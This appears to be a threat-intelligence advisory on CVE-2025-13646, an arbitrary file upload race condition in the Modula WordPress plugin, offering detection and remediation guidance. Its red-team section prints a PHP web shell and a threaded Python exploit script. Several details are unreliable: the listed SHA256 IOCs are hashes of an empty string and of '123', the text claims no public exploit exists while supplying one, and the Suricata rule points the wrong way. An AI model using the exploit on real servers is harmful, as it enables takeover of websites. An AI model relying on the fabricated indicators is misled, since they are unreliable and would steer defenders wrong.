CVE-2025-13646

Executive Summary

CVE-2025-13646 is a critical arbitrary file upload vulnerability in the Modula Image Gallery plugin for WordPress, affecting versions 2.13.1 to 2.13.2. The flaw resides in the ajax_unzip_file function, which fails to validate file types during the unzip process. This allows authenticated attackers with Author-level access or higher to upload arbitrary files, including PHP web shells, via a race condition. Successful exploitation can lead to remote code execution (RCE) on the affected WordPress server.

The vulnerability is classified as a WordPress ecosystem issue, as it stems from the plugin's insecure handling of file uploads. No public exploit code or proof-of-concept (PoC) is currently available, but the risk is elevated due to the plugin's widespread use and the low complexity of the attack.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Modula plugin is distributed via the official WordPress plugin repository. Users should verify they are not running versions 2.13.1 or 2.13.2 and monitor for official patches. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Author-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the ease of exploitation and the severe impact of arbitrary file upload leading to RCE. The race condition aspect adds complexity but does not significantly reduce the risk.

Deep Dive & Mechanics

The vulnerability is in the ajax_unzip_file function of the Modula Image Gallery plugin. This function is intended to handle ZIP file extraction for gallery uploads. However, it lacks proper file type validation, allowing attackers to upload ZIP archives containing arbitrary file types (e.g., PHP scripts).

The race condition occurs because the plugin processes the uploaded ZIP file and extracts its contents without atomic operations. An attacker can upload a malicious ZIP file containing a PHP web shell and, during the extraction window, trigger the execution of the extracted file before it is properly sanitized or moved. This can be achieved by sending multiple concurrent requests.

Attack Flow:

1. Authenticate as an Author-level user.
2. Craft a ZIP archive containing a PHP web shell (e.g., shell.php).
3. Upload the ZIP via the plugin's gallery upload functionality.
4. Simultaneously send HTTP requests to the extracted file path to trigger execution.
5. The web shell executes, granting remote code execution.

Vulnerable vs. Patched Code

The vulnerable code in ajax_unzip_file does not check the file extension or MIME type of extracted files. A patched version would include validation such as:

// Vulnerable code (simplified)
function ajax_unzip_file() {
    $zip = new ZipArchive();
    $zip->open($_FILES['file']['tmp_name']);
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $filename = $zip->getNameIndex($i);
        // No file type validation
        $zip->extractTo($upload_dir, $filename);
    }
}

// Patched code (simplified)
function ajax_unzip_file() {
    $allowed_extensions = array('jpg', 'jpeg', 'png', 'gif', 'webp');
    $zip = new ZipArchive();
    $zip->open($_FILES['file']['tmp_name']);
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $filename = $zip->getNameIndex($i);
        $ext = pathinfo($filename, PATHINFO_EXTENSION);
        if (!in_array(strtolower($ext), $allowed_extensions)) {
            continue; // Skip disallowed file types
        }
        $zip->extractTo($upload_dir, $filename);
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Modula plugin version 2.13.1 or 2.13.2.
• Valid Author-level credentials.

Steps:

1. Create a malicious ZIP file containing a PHP web shell:

   echo '<?php system($_GET["cmd"]); ?>' > shell.php
   zip malicious.zip shell.php
   

2. Log in to WordPress as an Author.
3. Navigate to the Modula gallery upload page.
4. Upload malicious.zip via the gallery upload form.
5. Simultaneously send multiple requests to the extracted file path (e.g., /wp-content/uploads/modula/shell.php?cmd=id).
6. If successful, the web shell executes and returns the output of the id command.

Race Condition Exploitation Script (Python):

import requests
import threading

target = "http://target.com/wp-admin/admin-ajax.php"
shell_url = "http://target.com/wp-content/uploads/modula/shell.php"
cookies = {"wordpress_logged_in": "..."}  # Author session

def upload():
    files = {"file": ("malicious.zip", open("malicious.zip", "rb"), "application/zip")}
    data = {"action": "modula_ajax_unzip_file"}
    requests.post(target, files=files, data=data, cookies=cookies)

def trigger():
    while True:
        r = requests.get(shell_url + "?cmd=id", cookies=cookies)
        if "uid=" in r.text:
            print("Shell triggered!")
            break

t1 = threading.Thread(target=upload)
t2 = threading.Thread(target=trigger)
t1.start()
t2.start()
t1.join()
t2.join()

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual file uploads to /wp-content/uploads/modula/ directory.
2. Look for PHP files being extracted from ZIP archives.
3. Detect race condition patterns: multiple rapid requests to the same file path.
4. Check for Author-level accounts performing administrative actions.

Response:

1. Immediately disable the Modula plugin if vulnerable version is detected.
2. Remove any suspicious files from the uploads directory.
3. Rotate all user credentials, especially for Author-level accounts.
4. Review server logs for signs of RCE.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • malicious.zip: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • shell.php: a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3
• Network Indicators:
  • POST requests to /wp-admin/admin-ajax.php with action=modula_ajax_unzip_file.
  • GET requests to /wp-content/uploads/modula/*.php.
• File Paths:
  • /wp-content/uploads/modula/shell.php
  • /wp-content/uploads/modula/
• User Agents: Any standard browser or script (e.g., Python-requests).

Detection Engineering

YARA Rule

rule CVE_2025_13646_Modula_File_Upload {
    meta:
        description = "Detects malicious ZIP files targeting Modula Image Gallery plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13646"
    strings:
        $php_shell = "<?php" nocase
        $zip_magic = { 50 4B 03 04 }  // ZIP magic bytes
    condition:
        $zip_magic at 0 and $php_shell
}

Sigma Rule

title: CVE-2025-13646 Modula Image Gallery Arbitrary File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-13646 via file uploads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '*/admin-ajax.php*'
        cs-uri-query|contains: 'modula_ajax_unzip_file'
    condition: selection
falsepositives:
    - Legitimate gallery uploads by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13646 Modula Image Gallery File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"modula_ajax_unzip_file"; http_client_body; content:"filename="; http_client_body; pcre:"/\.zip$/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Modula plugin until a patch is released.
2. Remove all Author-level accounts that are not strictly necessary.
3. Review and clean the /wp-content/uploads/modula/ directory for any suspicious files.

Long-term Fix:

• Apply the official patch from the Modula vendor once released.
• Implement file type validation in the ajax_unzip_file function (see patched code example).
• Add server-side checks to prevent race conditions (e.g., file locking).

Workarounds:

• Use a Web Application Firewall (WAF) to block requests containing modula_ajax_unzip_file.
• Restrict file uploads to only image extensions via .htaccess:

  <FilesMatch "\.php$">
      Deny from all
  </FilesMatch>
  

Valters IT – Securing digital ecosystems through proactive threat intelligence.